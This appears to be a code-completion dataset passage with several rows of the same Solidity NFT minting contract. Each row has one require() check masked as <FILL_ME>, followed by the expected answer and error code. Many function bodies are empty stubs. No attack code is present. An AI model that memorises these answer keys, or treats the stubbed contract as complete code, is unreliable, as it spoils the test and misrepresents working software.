require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| IRelation(relation.addr).balanceOf(_msgSender())>=relation.id,"10a" | 412,628 | IRelation(relation.addr).balanceOf(_msgSender())>=relation.id |
"10b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(<FILL_ME>) // local balance check for receiver
} else {
require(IRelation(relation.addr).balanceOf(receiver) >= relation.id, "10b"); // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| balanceOf(receiver)>=relation.id,"10b" | 412,628 | balanceOf(receiver)>=relation.id |
"10b" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
// @@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@.................,@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@
// @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@..................@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@ @@@@@@@@@@@@@@,.................@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@/ ..............................@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ..............................@@@@@@%@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@, ..............................@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@ ..............................@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@(@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
//
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
pragma solidity ^0.8.9;
import "./ERC721.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/draft-EIP712Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/cryptography/ECDSAUpgradeable.sol";
interface IRelation {
function burned(uint256 tokenId) external view returns (address);
function ownerOf(uint256 tokenId) external view returns (address);
function balanceOf(address account) external view returns (uint256);
}
contract C0 is Initializable, ERC721Upgradeable, OwnableUpgradeable, EIP712Upgradeable {
using ECDSAUpgradeable for bytes32;
//
// Events
//
event WithdrawerUpdated(Withdrawer withdrawer);
event StateUpdated(uint indexed state);
event BaseURIUpdated(string uri);
event NSUpdated(string name, string symbol);
bytes32 public constant RELATION_TYPE_HASH = keccak256("Relation(uint8 code,address addr,uint256 id)");
bytes32 public constant BODY_TYPE_HASH = keccak256("Body(uint256 id,uint8 encoding,address sender,address receiver,uint128 value,uint64 start,uint64 end,bytes32 sendersHash,bytes32 receiversHash,bytes32 puzzleHash,Relation[] relations)Relation(uint8 code,address addr,uint256 id)");
bytes32 private constant EMPTY_ARRAY_HASH = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // keccak256(abi.encodePacked(new bytes32[](0)))
//
// Struct declaration
//
struct Relation {
uint8 code;
address addr; // contract address
uint256 id; // tokenId/value
}
struct Body {
uint256 id;
uint128 value;
uint64 start;
uint64 end;
address sender;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
bytes32 sendersHash;
bytes32 receiversHash;
bytes32 puzzleHash;
Relation[] relations;
bytes signature;
}
struct Gift {
uint256 id;
address receiver;
uint8 encoding; // 0: raw, 1: dag-pb
Relation[] relations;
}
struct Input {
address receiver;
bytes puzzle;
bytes32[] sendersProof;
bytes32[] receiversProof;
}
struct Royalty {
address receiver;
uint96 amount;
}
struct Withdrawer {
address account;
bool permanent;
}
//
// Member variables
//
mapping(uint256 => Royalty) public royalty;
mapping(uint256 => uint8) public encoding;
mapping(uint256 => address) public burned;
Withdrawer public withdrawer;
string public baseURI;
uint public state; // 0: open, 1: paused, 2: frozen
//
// Core interface functions
//
function initialize(string calldata name, string calldata symbol) initializer external {
}
//
// Allow direct receiving of funds
//
receive() external payable {}
//
// gift tokens (c0.gift.send())
//
function gift(Gift[] calldata gifts) external payable onlyOwner {
}
//
// mint tokens (c0.token.send())
//
function token(Body[] calldata bodies, Input[] calldata inputs) external payable {
require(state == 0, "0"); // cannot mint when the state is paused or frozen
uint val;
for(uint i=0; i<bodies.length;) {
Body calldata body = bodies[i];
Input calldata input = inputs[i];
//
// 1. Burned check: disallow reminting if already burned
//
require(burned[body.id] == address(0), "1"); // cannot mint if it was already burned
// Who receives the token when minted?
// if body.receiver is set (not 0) => body.receiver
// if body.receiver is NOT set => input.receiver
address receiver = (body.receiver != address(0) ? body.receiver : input.receiver);
//
// 2. Signature check
//
if (body.relations.length == 0) {
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
EMPTY_ARRAY_HASH
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
} else {
bytes memory relationBytes;
uint outgoing;
//
// Relation handling
// A relation is the token's relationship with another address.
// It can be either incoming (INPUTS) or outgoing (OUTPUTS)
//
// Inputs: decides whether the virtual machine will accept the conditions related to other addresses
// Outputs: dictates how payments will be sent out (either the mint revenue or the royalty revenue)
//
for(uint j=0; j<body.relations.length;) {
Relation memory relation = body.relations[j];
//
// relation.code :=
//
// INPUTS: input conditions
// 0: burned by sender
// 1: burned by receiver
// 2: owned by sender
// 3: owned by receiver
// 4. balance by sender
// 5. balance by receiver
//
// OUTPUTS: output transfer declarations
// 10. mint payment handling
// 11. royalty payment handling
//
// INPUT
// 0. burned by sender
if (relation.code == 0) {
if (relation.addr == address(0)) {
require(burned[relation.id] == _msgSender(), "8a"); // local burnership check for sender
} else {
require(IRelation(relation.addr).burned(relation.id) == _msgSender(), "8a"); // remote contract burnership check for sender
}
}
// 1. burned by receiver
else if (relation.code == 1) {
if (relation.addr == address(0)) {
require(burned[relation.id] == receiver, "8b"); // local burnership check for receiver
} else {
require(IRelation(relation.addr).burned(relation.id) == receiver, "8b"); // remote contract burnership check for receiver
}
}
// 2. owned by sender
else if (relation.code == 2) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == _msgSender(), "9a"); // local ownership check for sender
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == _msgSender(), "9a"); // remote contract ownership check for sender
}
}
// 3. owned by receiver
else if (relation.code == 3) {
if (relation.addr == address(0)) {
require(ownerOf(relation.id) == receiver, "9b"); // local ownership check for receiver
} else {
require(IRelation(relation.addr).ownerOf(relation.id) == receiver, "9b"); // remote contract ownership check for receiver
}
}
// 4. balance by sender
else if (relation.code == 4) {
if (relation.addr == address(0)) {
require(balanceOf(_msgSender()) >= relation.id, "10a"); // local balance check for sender
} else {
require(IRelation(relation.addr).balanceOf(_msgSender()) >= relation.id, "10a"); // remote contract balance check for sender
}
}
// 5. balance by receiver
else if (relation.code == 5) {
if (relation.addr == address(0)) {
require(balanceOf(receiver) >= relation.id, "10b"); // local balance check for receiver
} else {
require(<FILL_ME>) // remote contract balance check for receiver
}
}
// OUTPUT
// 10. Make a transfer (relation.id / 10^6 percent of msg.value) to the relation.receiver
else if (relation.code == 10) {
outgoing += relation.id;
require(outgoing <= 1e6, "10c"); // the sum of all payment split shares must not exceed 1,000,000 (1e6)
_transfer(relation.addr, msg.value * relation.id / 1e6);
}
// 11. Set EIP-2981 royalty info
else if (relation.code == 11) {
royalty[body.id] = Royalty(relation.addr, uint96(relation.id));
}
relationBytes = abi.encodePacked(relationBytes, keccak256(abi.encode(
RELATION_TYPE_HASH,
relation.code,
relation.addr,
relation.id
)));
unchecked {
++j;
}
}
bytes32 bodyhash = keccak256(
abi.encode(
BODY_TYPE_HASH,
body.id,
body.encoding,
body.sender,
body.receiver,
body.value,
body.start,
body.end,
body.sendersHash,
body.receiversHash,
body.puzzleHash,
keccak256(relationBytes)
)
);
require(_hashTypedDataV4(bodyhash).recover(body.signature) == owner(), "2"); // check script signature
}
//
// 3. Sender check: if body.sender is specified, the body.sender must match _msgSender()
//
if (body.sender != address(0)) require(body.sender == _msgSender(), "3"); // sender lock validation
//
// 4. Start timelock check
//
require(body.start <= block.timestamp, "4"); // start time lock validation
//
// 5. End timelock check
//
require(body.end >= block.timestamp, "5"); // end time lock validation
//
// 6. Puzzle input check => the hash of the provided preimage string (input.puzzle) must match the hash (body.puzzleHash)
//
if (body.puzzleHash != 0) {
require(input.puzzle.length > 0 && keccak256(input.puzzle) == body.puzzleHash, "6"); // hash puzzle lock validation
}
//
// 7. Merkle input check => The _msgSender() must be included in the merkle tree specified by the body.merkleHash (verified using merkleproof input.merkle)
//
if (body.sendersHash != 0) {
require(verify(body.sendersHash, input.sendersProof, _msgSender()), "7a"); // senders merkle proof lock validation
}
if (body.receiversHash != 0) {
require(verify(body.receiversHash, input.receiversProof, receiver), "7b"); // receivers merkle proof lock validation
}
//
//
// A. Token storage logic => The token is actually created
//
//
//
// A.1. Set CID encoding: 0 if raw, 1 if dag-pb
// (In most cases it will be "raw" since metadata JSON files are small files and will be encoded as "raw", therefore saving gas)
//
if (body.encoding != 0) encoding[body.id] = body.encoding;
//
// A.2. Mint the token
//
_mint(receiver, body.id);
unchecked {
val+=body.value;
++i;
}
}
//
// 10. Revert everything if not enough money was sent
//
require(val == msg.value, "11"); // value lock validation
}
function burn(uint[] calldata _tokenIds) external {
}
//
// Universal tokenId engine: tokenId to CID
//
function tokenURI(uint tokenId) public view override(ERC721Upgradeable) returns (string memory) {
}
//
// Merkle proof verifier
//
function verify(bytes32 root, bytes32[] calldata proof, address account) internal pure returns (bool) {
}
//
// Royalty functions
//
function royaltyInfo(uint tokenId, uint value) external view returns (address receiver, uint256 royaltyAmount) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable) returns (bool) {
}
//
// Admin functions
//
function setWithdrawer(Withdrawer calldata _withdrawer) external onlyOwner {
}
function withdraw(uint value) external payable {
}
function setState(uint _state) external onlyOwner {
}
function setBaseURI(string calldata b) external onlyOwner {
}
function setNS(string calldata name_, string calldata symbol_) external onlyOwner {
}
error TransferFailed();
function _transfer(address to, uint256 amount) internal {
}
}
| IRelation(relation.addr).balanceOf(receiver)>=relation.id,"10b" | 412,628 | IRelation(relation.addr).balanceOf(receiver)>=relation.id |
"7a" | // SPDX-License-Identifier: MIT
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//
// cell/c0
//
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@@# ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@(@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@@@ ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,/@@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@@% ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@@@@
// @@@@@@@@@@@@@@@@ @@@@@@@@@&&&,,,,,,,,,,,,,,,,,,@@@@@@%@@@@@@@@@
// @@@@@@@@#@@@@@@ @@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@@
// @@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@@@@
// @@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,&@@@@@@@@@@@
// @@@@@@@@@@& *@@@@@@@@@@@@@@@@@@@@@@@,,,,,,,,,,,,,,,,,,@@@@@@@@@@
